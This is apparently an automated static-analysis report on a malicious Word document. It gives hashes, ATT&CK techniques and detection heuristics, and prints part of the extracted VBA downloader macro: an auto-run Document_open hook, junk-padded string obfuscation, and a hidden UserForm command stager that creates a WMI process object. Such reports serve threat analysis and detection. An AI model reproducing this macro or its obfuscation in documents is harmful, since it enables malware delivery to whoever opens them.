Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 89b652d336e7f0a2…

MALICIOUS

Office (OLE)

230.6 KB Created: 2020-08-14 18:10:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 46ab46fd1ec00368ce65dedd4725a956 SHA-1: 6b13ebbf6456b1c1edfeb63a3bc1a08876f78e1c SHA-256: 89b652d336e7f0a20bd1bd21b124d8ed57ce32cb67dc8b3d24e73dec89cbf848
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a critical heuristic for a hidden UserForm command stager. This indicates the document is designed to automatically execute malicious code upon opening. The ClamAV detection 'Doc.Downloader.Sagent-9336380-0' further confirms its malicious nature as a downloader. The VBA script's obfuscated nature and use of `CreateObject` suggest it is attempting to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-9336380-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9336380-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8018 bytes
SHA-256: c401fc84cf90a4ed8d4fa6110833969911908f10e8995d512c6107e76e124163
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Pe8ehx8cedsnqi57z"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
C05q0jyu3ijlzw.F1ljlm8hegq6iw6cm
End Sub


Attribute VB_Name = "C05q0jyu3ijlzw"
Attribute VB_Base = "0{DD7BD2CB-D6D3-4325-8585-E56EAEC666DD}{A9325CBF-F5F1-48A7-83B2-785422087363}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function F1ljlm8hegq6iw6cm()
   Osb1b88z99t07o = 4
Do While Osb1b88z99t07o < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Osb1b88z99t07o = Osb1b88z99t07o + 8: DoEvents
Loop
A1yzdbuv2wj0i = C05q0jyu3ijlzw.HelpContextId + 100
   Osb1b88z99t07o = 4
Do While Osb1b88z99t07o < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Osb1b88z99t07o = Osb1b88z99t07o + 8: DoEvents
Loop
U9rk2jr5arb4jw4d1n = ChrW(A1yzdbuv2wj0i + (100 + 35) / 9)
   Osb1b88z99t07o = 4
Do While Osb1b88z99t07o < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Osb1b88z99t07o = Osb1b88z99t07o + 8: DoEvents
Loop
Zzzqb04p4iyq4 = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + U9rk2jr5arb4jw4d1n + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + C05q0jyu3ijlzw.Sobcueaicjzfqnjka + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Osb1b88z99t07o = 4
Do While Osb1b88z99t07o < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Osb1b88z99t07o = Osb1b88z99t07o + 8: DoEvents
Loop
Jn7ulmrakkynv7qge8 = H_rvio_uk6l79607lm(Zzzqb04p4iyq4)
   Osb1b88z99t07o = 4
Do While Osb1b88z99t07o < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Osb1b88z99t07o = Osb1b88z99t07o + 8: DoEvents
Loop
Set G_4s_dzqwjlilf4i7 = CreateObject(Jn7ulmrakkynv7qge8)
   Osb1b88z99t07o = 4
Do While Osb1b88z99t07o < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Osb1b88z99t07o = Osb1b88z99t07o + 8: DoEvents
Loop
J9y4di_uaq_co7e5 = C05q0jyu3ijlzw.Vpigrg2lxr7gb.ControlTipText
   Osb1b88z99t07o = 4
Do While Osb1b88z99t07o < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Osb1b88z99t07o = Osb1b88z99t07o + 8: DoEvents
Loop
Czxyxoylaqrdxkklu = Tltvbc0f067r4 + (Jn7ulmrakkynv7qge8 + U9rk2jr5arb4jw4d1n + C05q0jyu3ijlzw.Ij600adi1q06hq.ControlTipText + J9y4di_uaq_co7e5)
   Osb1b88z99t07o = 4
Do While Osb1b88z99t07o < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Osb1b88z99t07o = Osb1b88z99t07o + 8: DoEvents
Loop
Hvdyumt0ltkx = Czxyxoylaqrdxkklu + C05q0jyu3ijlzw.Sobcueaicjzfqnjka
   Osb1b88z99t07o = 4
Do While Osb1b88z99t07o < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkD
... (truncated)